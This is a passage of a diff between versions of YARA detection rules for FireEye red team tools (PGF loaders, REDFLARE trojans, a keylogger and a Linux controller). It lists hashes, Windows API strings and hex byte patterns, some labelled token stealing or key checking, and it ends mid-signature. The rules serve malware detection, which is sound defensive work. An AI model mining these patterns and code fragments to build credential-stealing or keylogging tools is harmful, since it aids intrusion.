"https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_4.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "226b1ac427eb5a4dc2a00cc72c163214" - logic_hash = "b8c024c6b4c3ce9915700b62da8a1f12440215b46f3a56078707f5257e575811" + hash = "a8b5dcfea5e87bf0e95176daa243943d, 9dcb6424662941d746576e62712220aa" + logic_hash = "d027e98ad8fa6d03a49ceffd81fba6a621173e2dbabae652bee2f4e8489bb378" score = 75 quality = 75 tags = "FILE" - md5_2 = "2398ed2d5b830d226af26dedaf30f64a" - md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b" - md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa" - rev = 4 + rev = 2 strings: - $rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 } - $rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 } - $rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB } - $rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 } + $s1 = "LogonUserW" fullword + $s2 = "ImpersonateLoggedOnUser" fullword + $s3 = "runCommand" fullword + $user_logon = { 22 02 00 00 [1-10] 02 02 00 00 [0-4] E8 [4-40] ( 09 00 00 00 [1-10] 03 00 00 00 | 6A 03 6A 09 ) [4-30] FF 15 [4] 85 C0 7? } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 15MB and ( ( $rich1 at 128 ) or ( $rich2 at 128 ) or ( $rich3 at 128 ) or ( $rich4 at 128 ) ) + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Loader_Win64_PGF_4 : FILE +rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_3 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "4c93ba76-d3a5-568d-88b8-79a6ebc2edbb" - date = "2020-11-26" - date = "2020-11-26" + id = "2f6785c4-f4d0-52ff-8c46-da953e2ca92a" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_4.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_3.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "3bb34ebd93b8ab5799f4843e8cc829fa" - logic_hash = "fcc92674e58ec6418d7c709e3f3bc2e1ec859fe0cb444412964a978fb69f5234" + hash = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1" + logic_hash = "ee104bc145686a134e4d6d620dae7d1dacff7645d47f1a8d7a212327352b8e87" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $sb1 = { 41 B9 04 00 00 00 41 B8 00 10 00 00 BA [4] B9 00 00 00 00 [0-32] FF [1-24] 7? [1-150] 8B 45 [0-32] 44 0F B? ?? 8B [2-16] B? CD CC CC CC [0-16] C1 ?? 04 [0-16] C1 ?? 02 [0-16] C1 ?? 02 [0-16] 48 8? 05 [4-32] 31 [1-4] 88 } - $sb2 = { C? 45 ?? 48 [0-32] B8 [0-64] FF [0-32] E0 [0-32] 41 B8 40 00 00 00 BA 0C 00 00 00 48 8B [2] 48 8B [2-32] FF [1-16] 48 89 10 8B 55 ?? 89 ?? 08 48 8B [2] 48 8D ?? 02 48 8B 45 18 48 89 02 } + $calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 } + $str1 = "CreateCompatibleBitmap" fullword + $str2 = "BitBlt" fullword + $str3 = "runCommand" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Loader_MSIL_PGF_1 : FILE +rule FIREEYE_RT_APT_Keylogger_Win64_REDFLARE_1 : FILE { meta: - description = "base.cs" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "39d9821f-86e8-528a-a0a9-287dbe325484" - date = "2020-11-24" - date = "2020-11-24" + id = "3c980f5a-c775-5c25-ba28-91a93a1b9a85" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win64_REDFLARE_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "a495c6d11ff3f525915345fb762f8047" - logic_hash = "4174ed53336f3951d26282dc81b99b2044ac6350d4b4c0074194a9b4acecefee" + hash = "fbefb4074f1672a3c29c1a47595ea261" + logic_hash = "26fe577ba637c484d9a8ccc2173b5892a76328a90a39a2bebbae6bd2a6329485" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $sb1 = { 72 [4] 6F [2] 00 0A 26 [0-16] 0? 6F [2] 00 0A [1-3] 0? 28 [2] 00 0A [0-1] 0? 72 [4-5] 0? 28 [2] 00 0A [0-1] 0? 6F [2] 00 0A 13 ?? 1? 13 ?? 38 [8-16] 91 [3-6] 8E 6? 5D 91 61 D2 9C 11 ?? 1? 58 13 [3-5] 8E 6? 3F } + $create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 } + $keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_APT_Loader_Win32_PGF_2 : FILE +rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_5 : FILE { meta: - description = "base dlls: /lib/payload/techniques/dllmain/" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "e11a626b-ce91-5f6c-a514-9a8a02a29cbd" - date = "2020-11-25" - date = "2020-11-25" + id = "892981d6-f310-5ee8-95b5-dd4bd720a86c" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_2.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_5.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "04eb45f8546e052fe348fda2425b058c" - logic_hash = "d69f3f31c4964fe933295563e08bdbb36abadd6611541b9ffa55b6829ced1d21" + hash = "dfbb1b988c239ade4c23856e42d4127b, 3322fba40c4de7e3de0fda1123b0bf5d" + logic_hash = "ab38e5ebded026829672941709797b40f8e13fb244b6a8ed3545de4358f727b8" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $sb1 = { 6A ?? FF 15 [4-16] 8A ?? 04 [0-16] 8B ?? 1C [0-64] 0F 10 ?? 66 0F EF C8 0F 11 [0-32] 30 [2] 8D [2] 4? 83 [2] 7? } - $sb2 = { 8B ?? 08 [0-16] 6A 40 68 00 30 00 00 5? 6A 00 [0-32] FF 15 [4-32] 5? [0-16] E8 [4-64] C1 ?? 04 [0-32] 8A [2] 3? [2] 4? 3? ?? 24 ?? 7? } - $sb3 = { 8B ?? 3C [0-16] 03 [1-64] 0F B? ?? 14 [0-32] 83 ?? 18 [0-32] 66 3? ?? 06 [4-32] 68 [4] 5? FF 15 [4-16] 85 C0 [2-32] 83 ?? 28 0F B? ?? 06 } + $s1 = "AdjustTokenPrivileges" fullword + $s2 = "LookupPrivilegeValueW" fullword + $s3 = "ImpersonateLoggedOnUser" fullword + $s4 = "runCommand" fullword + $steal_token = { FF 15 [4] 85 C0 [1-40] C7 44 24 ?? 01 00 00 00 [0-20] C7 44 24 ?? 02 00 00 00 [0-20] FF 15 [4] FF [1-5] 85 C0 [4-40] 00 04 00 00 FF 15 [4-5] 85 C0 [2-20] ( BA 0F 00 00 00 | 6A 0F ) [1-4] FF 15 [4] 85 C0 74 [1-20] FF 15 [4] 85 C0 74 [1-20] ( 6A 0B | B9 0B 00 00 00 ) E8 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Loader_Win64_PGF_3 : FILE +rule FIREEYE_RT_APT_Controller_Linux_REDFLARE_1 : FILE { meta: - description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "340ea6d4-7111-520c-9bd4-0465a43ea235" - date = "2020-12-08" + id = "79a69740-7209-5c56-ad6f-eb4d0b29beaf" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_3.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Controller_Linux_REDFLARE_1.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "3bb34ebd93b8ab5799f4843e8cc829fa" - logic_hash = "fd82bdec54a76eed12cc8820ef39899f31ea6df21d905530a0d53770b3d9901b" + hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e" + logic_hash = "d6b0cc5f386da9bff8a8293f2b3857406044ab42f7c1bb23d5096052a3c42ce4" score = 75 quality = 75 tags = "FILE" - rev = 4 + rev = 1 strings: - $cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 } - $cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 } - $cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 } - $cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 